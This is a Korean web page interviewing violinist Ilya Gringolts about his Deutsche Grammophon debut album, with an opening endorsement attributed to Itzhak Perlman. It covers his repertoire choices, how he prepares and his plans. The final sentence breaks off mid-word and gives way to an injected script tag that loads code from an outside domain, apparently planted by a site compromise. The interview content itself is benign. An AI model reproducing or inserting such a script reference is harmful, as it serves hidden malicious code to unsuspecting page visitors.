도이치 그라모폰에서 일리야 그린골츠의 데뷔 앨범을 함께 할 수 있어서 난
너무 흥분되어있다. 일리야는 그의 천부적인 천재성을 마법과 같은 기교위에
음악적인 지성과 함께 융화해낸 뛰어난 젊은 연주자이다. 바이올린을 위대한
전통내에서 연주하고 있는 일리야 그린골츠, 그의 미래는 분명 밝다는 것을
난 확신하는 바이다................................................................
이차크 펄만
♠ 이번에 발매한
음반의 곡 선정에 대하여 말씀해 주세요.
먼저
차이코프스키를 선택했습니다. 첫 앨범으로는 잘 알려진 곡을 연주하는 것이
유리한데요. 차이코프스키의 바이올린 협주곡은 인지도 면에서나 곡의 완성도
면에서 완벽한 것이 사실이잖아요. 그래서 첫 곡으로 선택하는데 별 문제가
없었습니다.
하지만 문제는 두 번째 곡이었죠. 어떤 곡을 할까 고민하다 시벨리우스를
골랐었습니다. 근데 이미 도이치 그라모폰에서 저보다 앞서 나온 음반이 시벨리우스-차이코프스키가
들어 있는 앨범이 있다는 사실을 알게 되었고, 쇼스타코비치로 결정하게 되었습니다.
사실 쇼스타코비치의 곡도 제게는 아주 좋은 선택이라고 생각하는데요. 연주도
자주 했었지만, 이 곡으로 콩쿨에 입상하기도 했기 때문입니다. 또 이곡은
제게 어떤 유대감이 생기게 하는데요. 같은 러시아 사람이라서 그런 것은
아니고 제가 음악을 배우면서 지도해 준 선생님들의 영향을 받아서 좀더 가깝게
느끼는 것 같아요.
♠ 녹음이나 연주전에
어떻게 곡을 준비하나요?
말하자면 전 나름의 ‘자가 교육법’을 가지고
있습니다. 먼저 연주할 곡을 연습하기 전에 그 곡으로 녹음된 음반들을 여기저기서
구해서 들어봅니다. 어떤 곡에 대해서는 그 곡 자체만을 공부하지 않고 작곡가에
관련된 자료도 찾아봅니다. 그러다 보면 가능한 한 많은 배경지식과 자료를
얻기 위해서 계속 더 깊숙이 찾아 들어가게 되고, 결국 그 작곡가의 곡을
모두 다 들어보게 되는 경우도 있어요.
이렇게 하게 되면 그 곡이 작곡된 시대에 대해서 더 많은 것을 알게 되는데,
자료가 제한되어 있지만 충분히 해 볼만한 가치가 있다고 생각합니다.
♠ 앞으로의 연주일정에
대해 말씀해 주세요.
연주일정이 잘 잡혀 연주 시즌이 크게 붐비지는
않을 것 같아요. 그래서 개인적으로 새 곡들을 배우고 연습할 시간을 가지려고
합니다. 여러 다양?script src=http://batyu.cn> |